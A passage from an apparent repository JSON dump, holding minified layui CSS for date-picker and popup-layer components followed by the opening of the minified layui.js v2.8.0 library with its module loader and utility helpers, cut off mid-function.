td,.laydate-theme-grid .layui-laydate-content thead{border:1px solid #e2e2e2}.layui-laydate-linkage.laydate-theme-grid .laydate-selected,.layui-laydate-linkage.laydate-theme-grid .laydate-selected:hover{background-color:#f2f2f2!important;color:#16baaa!important}.layui-laydate-linkage.laydate-theme-grid .laydate-selected.laydate-day-next,.layui-laydate-linkage.laydate-theme-grid .laydate-selected.laydate-day-prev{color:#d2d2d2!important}.laydate-theme-grid .laydate-month-list,.laydate-theme-grid .laydate-year-list{margin:1px 0 0 1px}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li{margin:0 -1px -1px 0}.laydate-theme-grid .laydate-year-list>li{height:43px;line-height:43px}.laydate-theme-grid .laydate-month-list>li{height:71px;line-height:71px}.laydate-theme-grid .layui-laydate-content td>div{height:29px;margin-top:-1px}.laydate-theme-circle .layui-laydate-content td.layui-this>div,.laydate-theme-circle .layui-laydate-content td>div{width:28px;height:28px;line-height:28px;border-radius:14px;margin:0 4px;padding:0}.layui-laydate.laydate-theme-circle .layui-laydate-content table td.layui-this{background-color:transparent!important}.laydate-theme-grid.laydate-theme-circle .layui-laydate-content td>div{margin:0 3.5px}.laydate-theme-fullpanel .layui-laydate-main{width:526px}.laydate-theme-fullpanel .layui-laydate-list{width:252px;left:272px}.laydate-theme-fullpanel .laydate-set-ym span{display:none}.laydate-theme-fullpanel .laydate-time-show .laydate-set-ym span[lay-type=month],.laydate-theme-fullpanel .laydate-time-show .laydate-set-ym span[lay-type=year],.laydate-theme-fullpanel .laydate-time-show .layui-laydate-header .layui-icon{display:inline-block!important}.laydate-theme-fullpanel .laydate-btns-time{display:none}html #layuicss-layer{display:none;position:absolute;width:1989px}.layui-layer,.layui-layer-shade{position:fixed;_position:absolute;pointer-events:auto}.layui-layer-shade{top:0;left:0;width:100%;height:100%;_height:expression(document.body.offsetHeight+\"px\")}.layui-layer{-webkit-overflow-scrolling:touch}.layui-layer{top:150px;left:0;margin:0;padding:0;background-color:#fff;-webkit-background-clip:content;border-radius:2px;box-shadow:1px 1px 50px rgba(0,0,0,.3)}.layui-layer-close{position:absolute}.layui-layer-content{position:relative}.layui-layer-border{border:1px solid #b2b2b2;border:1px solid rgba(0,0,0,.1);box-shadow:1px 1px 5px rgba(0,0,0,.2)}.layui-layer-btn a,.layui-layer-setwin span{display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-move{display:none;position:fixed;*position:absolute;left:0;top:0;width:100%;height:100%;cursor:move;opacity:0;filter:alpha(opacity=0);background-color:#fff;z-index:2147483647}.layui-layer-resize{position:absolute;width:15px;height:15px;right:0;bottom:0;cursor:se-resize}.layer-anim{-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.3s;animation-duration:.3s}@-webkit-keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceIn{0%{opacity:0;-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-00{-webkit-animation-name:layer-bounceIn;animation-name:layer-bounceIn}@-webkit-keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInDown{0%{opacity:0;-webkit-transform:scale(.1) translateY(-2000px);-ms-transform:scale(.1) translateY(-2000px);transform:scale(.1) translateY(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateY(60px);-ms-transform:scale(.475) translateY(60px);transform:scale(.475) translateY(60px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-01{-webkit-animation-name:layer-zoomInDown;animation-name:layer-zoomInDown}@-webkit-keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes layer-fadeInUpBig{0%{opacity:0;-webkit-transform:translateY(2000px);-ms-transform:translateY(2000px);transform:translateY(2000px)}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0)}}.layer-anim-02{-webkit-animation-name:layer-fadeInUpBig;animation-name:layer-fadeInUpBig}@-webkit-keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}@keyframes layer-zoomInLeft{0%{opacity:0;-webkit-transform:scale(.1) translateX(-2000px);-ms-transform:scale(.1) translateX(-2000px);transform:scale(.1) translateX(-2000px);-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}60%{opacity:1;-webkit-transform:scale(.475) translateX(48px);-ms-transform:scale(.475) translateX(48px);transform:scale(.475) translateX(48px);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}}.layer-anim-03{-webkit-animation-name:layer-zoomInLeft;animation-name:layer-zoomInLeft}@-webkit-keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}@keyframes layer-rollIn{0%{opacity:0;-webkit-transform:translateX(-100%) rotate(-120deg);-ms-transform:translateX(-100%) rotate(-120deg);transform:translateX(-100%) rotate(-120deg)}100%{opacity:1;-webkit-transform:translateX(0) rotate(0);-ms-transform:translateX(0) rotate(0);transform:translateX(0) rotate(0)}}.layer-anim-04{-webkit-animation-name:layer-rollIn;animation-name:layer-rollIn}@keyframes layer-fadeIn{0%{opacity:0}100%{opacity:1}}.layer-anim-05{-webkit-animation-name:layer-fadeIn;animation-name:layer-fadeIn}@-webkit-keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes layer-shake{0%,100%{-webkit-transform:translateX(0);-ms-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);-ms-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);-ms-transform:translateX(10px);transform:translateX(10px)}}.layer-anim-06{-webkit-animation-name:layer-shake;animation-name:layer-shake}@-webkit-keyframes fadeIn{0%{opacity:0}100%{opacity:1}}@keyframes layer-slide-down{from{transform:translate3d(0,-100%,0)}to{transform:translate3d(0,0,0)}}@keyframes layer-slide-down-out{from{transform:translate3d(0,0,0)}to{transform:translate3d(0,-100%,0)}}.layer-anim-slide-down{animation-name:layer-slide-down}.layer-anim-slide-down-out{animation-name:layer-slide-down-out}@keyframes layer-slide-left{from{transform:translate3d(100%,0,0)}to{transform:translate3d(0,0,0)}}@keyframes layer-slide-left-out{from{transform:translate3d(0,0,0)}to{transform:translate3d(100%,0,0)}}.layer-anim-slide-left{animation-name:layer-slide-left}.layer-anim-slide-left-out{animation-name:layer-slide-left-out}@keyframes layer-slide-up{from{transform:translate3d(0,100%,0)}to{transform:translate3d(0,0,0)}}@keyframes layer-slide-up-out{from{transform:translate3d(0,0,0)}to{transform:translate3d(0,100%,0)}}.layer-anim-slide-up{animation-name:layer-slide-up}.layer-anim-slide-up-out{animation-name:layer-slide-up-out}@keyframes layer-slide-right{from{transform:translate3d(-100%,0,0)}to{transform:translate3d(0,0,0)}}@keyframes layer-slide-right-out{from{transform:translate3d(0,0,0)}to{transform:translate3d(-100%,0,0)}}.layer-anim-slide-right{animation-name:layer-slide-right}.layer-anim-slide-right-out{animation-name:layer-slide-right-out}.layui-layer-title{padding:0 81px 0 16px;height:50px;line-height:50px;border-bottom:1px solid #f0f0f0;font-size:14px;color:#333;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;border-radius:2px 2px 0 0}.layui-layer-setwin{position:absolute;right:15px;*right:0;top:16px;font-size:0;line-height:initial}.layui-layer-setwin span{position:relative;width:16px;height:16px;line-height:18px;margin-left:10px;text-align:center;font-size:16px;cursor:pointer;color:#000;_overflow:hidden}.layui-layer-setwin .layui-layer-min:before{content:'';position:absolute;width:12px;height:1px;left:50%;top:50%;margin:-.5px 0 0 -6px;background-color:#2e2d3c;cursor:pointer;_overflow:hidden}.layui-layer-setwin .layui-layer-min:hover:before{background-color:#2d93ca}.layui-layer-setwin .layui-layer-max:after,.layui-layer-setwin .layui-layer-max:before{content:'';position:absolute;left:50%;top:50%;z-index:1;width:9px;height:9px;margin:-5px 0 0 -5px;border:1px solid #2e2d3c}.layui-layer-setwin .layui-layer-max:hover:after,.layui-layer-setwin .layui-layer-max:hover:before{border-color:#2d93ca}.layui-layer-setwin .layui-layer-min:hover:before{background-color:#2d93ca}.layui-layer-setwin .layui-layer-maxmin:after,.layui-layer-setwin .layui-layer-maxmin:before{width:7px;height:7px;margin:-3px 0 0 -3px;background-color:#fff}.layui-layer-setwin .layui-layer-maxmin:after{z-index:0;margin:-5px 0 0 -1px}.layui-layer-setwin .layui-layer-close{cursor:pointer}.layui-layer-setwin .layui-layer-close:hover{opacity:.7}.layui-layer-setwin .layui-layer-close2{position:absolute;right:-28px;top:-28px;color:#fff;background-color:#787878;padding:3px;border:3px solid;width:18px;height:18px;font-size:18px;font-weight:bolder;border-radius:50%;margin-left:0;*right:-18px;_display:none}.layui-layer-setwin .layui-layer-close2:hover{opacity:unset;background-color:#3888f6}.layui-layer-btn{text-align:right;padding:0 15px 12px;pointer-events:auto;user-select:none;-webkit-user-select:none}.layui-layer-btn a{height:28px;line-height:28px;margin:5px 5px 0;padding:0 15px;border:1px solid #dedede;background-color:#fff;color:#333;border-radius:2px;font-weight:400;cursor:pointer;text-decoration:none}.layui-layer-btn a:hover{opacity:.9;text-decoration:none}.layui-layer-btn a:active{opacity:.8}.layui-layer-btn .layui-layer-btn0{border-color:#1e9fff;background-color:#1e9fff;color:#fff}.layui-layer-btn-l{text-align:left}.layui-layer-btn-c{text-align:center}.layui-layer-dialog{min-width:240px}.layui-layer-dialog .layui-layer-content{position:relative;padding:16px;line-height:24px;word-break:break-all;overflow:hidden;font-size:14px;overflow-x:hidden;overflow-y:auto}.layui-layer-dialog .layui-layer-content .layui-layer-face{position:absolute;top:18px;left:16px;color:#959595;font-size:32px;_left:-40px}.layui-layer-dialog .layui-layer-content .layui-icon-tips{color:#f39b12}.layui-layer-dialog .layui-layer-content .layui-icon-success{color:#16b777}.layui-layer-dialog .layui-layer-content .layui-icon-error{top:19px;color:#ff5722}.layui-layer-dialog .layui-layer-content .layui-icon-question{color:#ffb800}.layui-layer-dialog .layui-layer-content .layui-icon-lock{color:#787878}.layui-layer-dialog .layui-layer-content .layui-icon-face-cry{color:#ff5722}.layui-layer-dialog .layui-layer-content .layui-icon-face-smile{color:#16b777}.layui-layer-rim{border:6px solid #8d8d8d;border:6px solid rgba(0,0,0,.3);border-radius:5px;box-shadow:none}.layui-layer-msg{min-width:180px;border:1px solid #d3d4d3;box-shadow:none}.layui-layer-hui{min-width:100px;background-color:#000;filter:alpha(opacity=60);background-color:rgba(0,0,0,.6);color:#fff;border:none}.layui-layer-hui .layui-layer-close{color:#fff}.layui-layer-hui .layui-layer-content{padding:11px 24px;text-align:center}.layui-layer-dialog .layui-layer-padding{padding:18px 24px 18px 58px;text-align:left}.layui-layer-page .layui-layer-content{position:relative;overflow:auto}.layui-layer-iframe .layui-layer-btn,.layui-layer-page .layui-layer-btn{padding-top:10px}.layui-layer-nobg{background:0 0}.layui-layer-iframe iframe{display:block;width:100%}.layui-layer-loading{border-radius:100%;background:0 0;box-shadow:none;border:none}.layui-layer-loading .layui-layer-content{width:76px;height:38px;line-height:38px;text-align:center}.layui-layer-loading-icon{font-size:38px;color:#959595}.layui-layer-loading2{text-align:center}.layui-layer-loading-2{position:relative;height:38px}.layui-layer-loading-2:after,.layui-layer-loading-2:before{content:'';position:absolute;left:50%;top:50%;width:38px;height:38px;margin:-19px 0 0 -19px;border-radius:50%;border:3px solid #d2d2d2;box-sizing:border-box}.layui-layer-loading-2:after{border-color:transparent;border-left-color:#1e9fff}.layui-layer-tips{background:0 0;box-shadow:none;border:none}.layui-layer-tips .layui-layer-content{position:relative;line-height:22px;min-width:12px;padding:8px 15px;font-size:12px;_float:left;border-radius:2px;box-shadow:1px 1px 3px rgba(0,0,0,.2);background-color:#000;color:#fff}.layui-layer-tips .layui-layer-close{right:-2px;top:-1px}.layui-layer-tips i.layui-layer-TipsG{position:absolute;width:0;height:0;border-width:8px;border-color:transparent;border-style:dashed;*overflow:hidden}.layui-layer-tips i.layui-layer-TipsB,.layui-layer-tips i.layui-layer-TipsT{left:5px;border-right-style:solid;border-right-color:#000}.layui-layer-tips i.layui-layer-TipsT{bottom:-8px}.layui-layer-tips i.layui-layer-TipsB{top:-8px}.layui-layer-tips i.layui-layer-TipsL,.layui-layer-tips i.layui-layer-TipsR{top:5px;border-bottom-style:solid;border-bottom-color:#000}.layui-layer-tips i.layui-layer-TipsR{left:-8px}.layui-layer-tips i.layui-layer-TipsL{right:-8px}.layui-layer-lan .layui-layer-title{background:#4476a7;color:#fff;border:none}.layui-layer-lan .layui-layer-btn{padding:5px 10px 10px;text-align:right;border-top:1px solid #e9e7e7}.layui-layer-lan .layui-layer-btn a{background:#fff;border-color:#e9e7e7;color:#333}.layui-layer-lan .layui-layer-btn .layui-layer-btn1{background:#c9c5c5}.layui-layer-molv .layui-layer-title{background:#009f95;color:#fff;border:none}.layui-layer-molv .layui-layer-btn a{background:#009f95;border-color:#009f95}.layui-layer-molv .layui-layer-btn .layui-layer-btn1{background:#92b8b1}.layui-layer-lan .layui-layer-setwin .layui-icon,.layui-layer-molv .layui-layer-setwin .layui-icon{color:#fff}.layui-layer-win10{border:1px solid #aaa;box-shadow:1px 1px 6px rgba(0,0,0,.3);border-radius:none}.layui-layer-win10 .layui-layer-title{height:32px;line-height:32px;padding-left:8px;border-bottom:none;font-size:12px}.layui-layer-win10 .layui-layer-setwin{right:0;top:0}.layui-layer-win10 .layui-layer-setwin span{margin-left:0;padding:8px}.layui-layer-win10.layui-layer-page .layui-layer-setwin span{padding:8px 11px}.layui-layer-win10 .layui-layer-setwin span:hover{background-color:#e5e5e5}.layui-layer-win10 .layui-layer-setwin span.layui-icon-close:hover{background-color:#e81123;color:#fff}.layui-layer-win10.layui-layer-dialog .layui-layer-content{padding:8px 16px 32px;color:#0033bc}.layui-layer-win10 .layui-layer-btn{padding:5px 5px 10px;border-top:1px solid #dfdfdf;background-color:#f0f0f0}.layui-layer-win10 .layui-layer-btn a{height:18px;line-height:18px;background-color:#e1e1e1;border-color:#adadad;color:#000;font-size:12px;transition:all .3s}.layui-layer-win10 .layui-layer-btn a:hover{border-color:#2a8edd;background-color:#e5f1fb}.layui-layer-win10 .layui-layer-btn .layui-layer-btn0{border-color:#0078d7}.layui-layer-prompt .layui-layer-input{display:block;width:260px;height:36px;margin:0 auto;line-height:30px;padding-left:10px;border:1px solid #e6e6e6;color:#333}.layui-layer-prompt textarea.layui-layer-input{width:300px;height:100px;line-height:20px;padding:6px 10px}.layui-layer-prompt .layui-layer-content{padding:16px}.layui-layer-prompt .layui-layer-btn{padding-top:0}.layui-layer-tab{box-shadow:1px 1px 50px rgba(0,0,0,.4)}.layui-layer-tab .layui-layer-title{padding-left:0;overflow:visible}.layui-layer-tab .layui-layer-title span{position:relative;float:left;min-width:80px;max-width:300px;padding:0 16px;text-align:center;cursor:default;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;cursor:pointer}.layui-layer-tab .layui-layer-title span.layui-this{height:51px;border-left:1px solid #eee;border-right:1px solid #eee;background-color:#fff;z-index:10}.layui-layer-tab .layui-layer-title span:first-child{border-left:none}.layui-layer-tabmain{line-height:24px;clear:both}.layui-layer-tabmain .layui-layer-tabli{display:none}.layui-layer-tabmain .layui-layer-tabli.layui-this{display:block}.layui-layer-photos{background:0 0;box-shadow:none}.layui-layer-photos .layui-layer-content{overflow:hidden;text-align:center}.layui-layer-photos .layui-layer-phimg img{position:relative;width:100%;display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-imgnext,.layui-layer-imgprev{position:fixed;top:50%;width:52px;height:52px;line-height:52px;margin-top:-26px;cursor:pointer;font-size:52px;color:#717171}.layui-layer-imgprev{left:32px}.layui-layer-imgnext{right:32px}.layui-layer-imgnext:hover,.layui-layer-imgprev:hover{color:#959595}.layui-layer-imgbar{position:fixed;left:0;right:0;bottom:0;width:100%;height:40px;line-height:40px;background-color:#000\\9;filter:Alpha(opacity=60);background-color:rgba(2,0,0,.35);color:#fff;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;font-size:0}.layui-layer-imgtit *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;padding:0 5px;font-size:12px;color:#fff}.layui-layer-imgtit h3{max-width:65%;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;font-weight:300}.layui-layer-imgtit a:hover{color:#fff;text-decoration:underline}.layui-layer-imgtit em{font-style:normal}@-webkit-keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-close{-webkit-animation-name:layer-bounceOut;animation-name:layer-bounceOut;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.2s;animation-duration:.2s}@media screen and (max-width:1100px){.layui-layer-iframe{overflow-y:auto;-webkit-overflow-scrolling:touch}}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/resources/static/layui/layui.js",
    "content": "/** v2.8.0 | MIT Licensed */;!function(d){\"use strict\";var t,h=d.document,m={modules:{},status:{},timeout:10,event:{}},n=function(){this.v=\"2.8.0\"},e=d.LAYUI_GLOBAL||{},v=(t=h.currentScript?h.currentScript.src:function(){for(var t,e=h.scripts,r=e.length-1,n=r;0<n;n--)if(\"interactive\"===e[n].readyState){t=e[n].src;break}return t||e[r].src}(),m.dir=e.dir||t.substring(0,t.lastIndexOf(\"/\")+1)),g=function(t,e){e=e||\"log\",d.console&&console[e]&&console[e](\"layui error hint: \"+t)},b=\"undefined\"!=typeof opera&&\"[object Opera]\"===opera.toString(),N=m.builtin={lay:\"lay\",layer:\"layer\",laydate:\"laydate\",laypage:\"laypage\",laytpl:\"laytpl\",form:\"form\",upload:\"upload\",dropdown:\"dropdown\",transfer:\"transfer\",tree:\"tree\",table:\"table\",treeTable:\"treeTable\",element:\"element\",rate:\"rate\",colorpicker:\"colorpicker\",slider:\"slider\",carousel:\"carousel\",flow:\"flow\",util:\"util\",code:\"code\",jquery:\"jquery\",all:\"all\",\"layui.all\":\"layui.all\"},s=(n.prototype.cache=m,n.prototype.define=function(t,n){return\"function\"==typeof t&&(n=t,t=[]),this.use(t,function(){var r=function(t,e){layui[t]=e,m.status[t]=!0};return\"function\"==typeof n&&n(function(t,e){r(t,e),m.callback[t]=function(){n(r)}}),this},null,\"define\"),this},n.prototype.use=function(r,t,e,n){var o=this,i=m.dir=m.dir||v,a=h.getElementsByTagName(\"head\")[0],u=(r=\"string\"==typeof r?[r]:\"function\"==typeof r?(t=r,[\"all\"]):r,d.jQuery&&jQuery.fn.on&&(o.each(r,function(t,e){\"jquery\"===e&&r.splice(t,1)}),layui.jquery=layui.$=jQuery),r[0]),l=0;function s(t,e){var r=\"PLaySTATION 3\"===navigator.platform?/^complete$/:/^(complete|loaded)$/;\"load\"!==t.type&&!r.test((t.currentTarget||t.srcElement).readyState)||(m.modules[u]=e,a.removeChild(p),function n(){return++l>1e3*m.timeout/4?g(u+\" is not a valid module\",\"error\"):void(m.status[u]?c():setTimeout(n,4))}())}function c(){e.push(layui[u]),1<r.length?o.use(r.slice(1),t,e,n):\"function\"==typeof t&&(layui.jquery&&\"function\"==typeof layui.jquery&&\"define\"!==n?layui.jquery(function(){t.apply(layui,e)}):t.apply(layui,e))}if(e=e||[],m.host=m.host||(i.match(/\\/\\/([\\s\\S]+?)\\//)||[\"//\"+location.host+\"/\"])[0],0===r.length||layui[\"layui.all\"]&&N[u])return c(),o;var p,y=(y=(N[u]?i+\"modules/\":!/^\\{\\/\\}/.test(o.modules[u])&&m.base||\"\")+(o.modules[u]||u)+\".js\").replace(/^\\{\\/\\}/,\"\");return!m.modules[u]&&layui[u]&&(m.modules[u]=y),m.modules[u]?function f(){return++l>1e3*m.timeout/4?g(u+\" is not a valid module\",\"error\"):void(\"string\"==typeof m.modules[u]&&m.status[u]?c():setTimeout(f,4))}():((p=h.createElement(\"script\"))[\"async\"]=!0,p.charset=\"utf-8\",p.src=y+((i=!0===m.version?m.v||(new Date).getTime():m.version||\"\")?\"?v=\"+i:\"\"),a.appendChild(p),!p.attachEvent||p.attachEvent.toString&&p.attachEvent.toString().indexOf(\"[native code\")<0||b?p.addEventListener(\"load\",function(t){s(t,y)},!1):p.attachEvent(\"onreadystatechange\",function(t){s(t,y)}),m.modules[u]=y),o},n.prototype.disuse=function(t){var r=this;return t=r.isArray(t)?t:[t],r.each(t,function(t,e){m.status[e],delete r[e],delete N[e],delete r.modules[e],delete m.status[e],delete m.modules[e]}),r},n.prototype.getStyle=function(t,e){t=t.currentStyle||d.getComputedStyle(t,null);return t[t.getPropertyValue?\"getPropertyValue\":\"getAttribute\"](e)},n.prototype.link=function(r,n,t){var o=this,e=h.getElementsByTagName(\"head\")[0],i=h.createElement(\"link\"),t=((t=\"string\"==typeof n?n:t)||r).replace(/\\.|\\//g,\"\"),a=i.id=\"layuicss-\"+t,u=\"creating\",l=0;return i.rel=\"stylesheet\",i.href=r+(m.debug?\"?v=\"+(new Date).getTime():\"\"),i.media=\"all\",h.getElementById(a)||e.appendChild(i),\"function\"!=typeof n||function s(t){var e=h.getElementById(a);return++l>1e3*m.timeout/100?g(r+\" timeout\"):void(1989===parseInt(o.getStyle(e,\"width\"))?(t===u&&e.removeAttribute(\"lay-status\"),e.getAttribute(\"lay-status\")===u?setTimeout(s,100):n()):(e.setAttribute(\"lay-status\",u),setTimeout(function(){s(u)},100)))}(),o},n.prototype.addcss=function(t,e,r){return layui.link(m.dir+\"css/\"+t,e,r)},m.callback={},n.prototype.factory=function(t){if(layui[t])return\"function\"==typeof m.callback[t]?m.callback[t]:null},n.prototype.img=function(t,e,r){var n=new Image;if(n.src=t,n.complete)return e(n);n.onload=function(){n.onload=null,\"function\"==typeof e&&e(n)},n.onerror=function(t){n.onerror=null,\"function\"==typeof r&&r(t)}},n.prototype.config=function(t){for(var e in t=t||{})m[e]=t[e];return this},n.prototype.modules=function(){var t,e={};for(t in N)e[t]=N[t];return e}(),n.prototype.extend=function(t){for(var e in t=t||{})this[e]||this.modules[e]?g(e+\" Module already exists\",\"error\"):this.modules[e]=t[e];return this},n.prototype.router=n.prototype.hash=function(t){var r={path:[],search:{},hash:((t=t||location.hash).match(/[^#](#.*$)/)||[])[1]||\"\"};return/^#\\//.test(t)&&(t=t.replace(/^#\\//,\"\"),r.href=\"/\"+t,t=t.replace(/([^#])(#.*$)/,\"$1\").split(\"/\")||[],this.each(t,function(t,e){/^\\w+=/.test(e)?(e=e.split(\"=\"),r.search[e[0]]=e[1]):r.path.push(e)})),r},n.prototype.url=function(t){var o,e,r=this;return{pathname:(t?((t.match(/\\.[^.]+?\\/.+/)||[])[0]||\"\").replace(/^[^\\/]+/,\"\").replace(/\\?.+/,\"\"):location.pathname).replace(/^\\//,\"\").split(\"/\"),search:(o={},e=(t?((t.match(/\\?.+/)||[])[0]||\"\").replace(/\\#.+/,\"\"):location.search).replace(/^\\?+/,\"\").split(\"&\"),r.each(e,function(t,e){var r=e.indexOf(\"=\"),n=r<0?e.substr(0,e.length):0!==r&&e.substr(0,r);n&&(o[n]=0<r?e.substr(r+1):null)}),o),hash:r.router(t?(t.match(/#.+/)||[])[0]||\"/\":location.hash)}},n.prototype.data=function(t,e,r){if(t=t||\"layui\",r=r||localStorage,d.JSON&&d.JSON.parse){if(null===e)return delete r[t];e=\"object\"==typeof e?e:{key:e};try{var n=JSON.parse(r[t])}catch(o){n={}}return\"value\"in e&&(n[e.key]=e.value),e.remove&&delete n[e.key],r[t]=JSON.stringify(n),e.key?n[e.key]:n}},n.prototype.sessionData=function(t,e){return this.data(t,e,sessionStorage)},n.prototype.device=function(t){var r=navigator.userAgent.toLowerCase(),e=function(t){var e=new RegExp(t+\"/([^\\\\s\\\\_\\\\-]+)\");return(t=(r.match(e)||[])[1])||!1},n={os:/windows/.test(r)?\"windows\":/linux/.test(r)?\"linux\":/iphone|ipod|ipad|ios/.test(r)?\"ios\":/mac/.test(r)?\"mac\":void 0,ie:!!(d.ActiveXObject||\"ActiveXObject\"in d)&&((r.match(/msie\\s(\\d+)/)||[])[1]||\"11\"),weixin:e(\"micromessenger\")};return t&&!n[t]&&(n[t]=e(t)),n.android=/android/.test(r),n.ios=\"ios\"===n.os,n.mobile=!(!n.android&&!n.ios),n},n.prototype.hint=function(){return{error:g}},n.prototype._typeof=n.prototype.type=function(t){return null===t?String(t):\"object\"==typeof t||\"function\"==typeof t?(e=(e=Object.prototype.toString.call(t).match(/\\s(.+)\\]$/)||[])[1]||\"Object\",new RegExp(\"\\\\b(Function|Array|Date|RegExp|Object|Error|Symbol)\\\\b\").test(e)?e.toLowerCase():\"object\"):typeof t;var e},n.prototype._isArray=n.prototype.isArray=function(t){var e,r=this.type(t);return!(!t||\"object\"!=typeof t||t===d)&&(e=\"length\"in t&&t.length,\"array\"===r||0===e||\"number\"==typeof e&&0<e&&e-1 in t)},n.prototype.each=function(t,r){var e,n=function(t,e){return r.call(e[t],t,e[t])};if(\"function\"!=typeof r)return this;if(this.isArray(t=t||[]))for(e=0;e<t.length&&!n(e,t);e++);else for(e in t)if(n(e,t))break;return this},n.prototype.sort=function(t,o,e){var r=JSON.parse(JSON.stringify(t||[]));return\"object\"!==this.type(t)||o?\"object\"!=typeof t?[r]:(r.sort(function(t,e){var r=t[o],n=e[o];if(!isNaN(t)&&!isNaN(e))return t-e;if(!isNaN(t)&&isNaN(e)){if(!o||\"object\"!=typeof e)return-1;r=t}else if(isNaN(t)&&!isNaN(e)){if(!o||\"object\"!=typeof t)return 1;n=e}t=[!isNaN(r),!isNaN(n)];return t[0]&&t[1]?r&&!n&&0!==n?1:!r&&0!==r&&n?-1:r-n:t[0]||t[1]?t[0]||!t[1]?-1:!t[0]||t[1]?1:void 0:n<r?1:r<n?-1:0}),e&&r.reverse(),r):r},n.prototype.stope=function(t){t=t||d.event;try{t.stopPropagation()}catch(e){t.cancelBubble=!0}},\"LAYUI-EVENT-REMOVE\");n.prototype.onevent=function(t,e,r){return\"string\"!=typeof t||\"function\"!=typeof r?this:n.event(t,e,null,r)},n.prototype.event=n.event=function(t,e,r,n){var o=this,i=null,a=(e||\"\").match(/\\((.*)\\)$/)||[],t=(t+\".\"+e).replace(a[0],\"\"),u=a[1]||\"\",l=function(t,e){!1===(e&&e.call(o,r))&&null===i&&(i=!1)};return r===s?(delete(o.cache.event[t]||{})[u],o):n?(m.event[t]=m.event[t]||{},u?m.event[t][u]=[n]:(m.event[t][u]=m.event[t][u]||[],m.event[t][u].push(n)),this):(layui.each(m.event[t],function(t,e){\"{*}\"===u?layui.each(e,l):(\"\"===t&&layui.each(e,l),u&&t===u&&layui.each(e,l))}),i)},n.prototype.on=function(t,e,r){return this.onevent.call(this,e,t,r)},n.prototype.off=function(t,e){return this.event.call(this,e,t,s)},d.layui=new n}(window);layui.define(function(a){var i=layui.cache;layui.config({dir:i.dir.replace(/lay\\/dest\\/$/,\"\")}),a(\"layui.all\",layui.v)});!function(l){\"use strict\";var t,f=l.document,h=function(t){return new r(t)},r=function(t){for(var e=0,n=\"object\"==typeof t?layui.isArray(t)?t:[t]:(this.selector=t,f.querySelectorAll(t||null));e<n.length;e++)this.push(n[e])};(r.prototype=[]).constructor=r,h.extend=function(){var t,e=1,n=arguments,o=function(t,e){for(var n in t=t||(\"array\"===layui.type(e)?[]:{}),e)t[n]=e[n]&&e[n].constructor===Object?o(t[n],e[n]):e[n];return t};for(n[0]=\"object\"==typeof n[0]?n[0]:{},t=n.length;e<t;e++)\"object\"==typeof n[e]&&o(n[0],n[e]);return n[0]},h.v=\"1.0.8\",h.ie=(t=navigator.userAgent.toLowerCase(),!!(l.ActiveXObject||\"ActiveXObject\"in l)&&((t.match(/msie\\s(\\d+)/)||[])[1]||\"11\")),h.layui=layui||{},h.getPath=layui.cache.dir,h.stope=layui.stope,h.each=function(){return layui.each.apply(layui,arguments),this},h.digit=function(t,e){if(\"string\"!=typeof t&&\"number\"!=typeof t)return\"\";var n=\"\";e=e||2;for(var o=(t=String(t)).length;o<e;o++)n+=\"0\";return t<Math.pow(10,e)?n+t:t},h.elem=function(t,e){var n=f.createElement(t);return 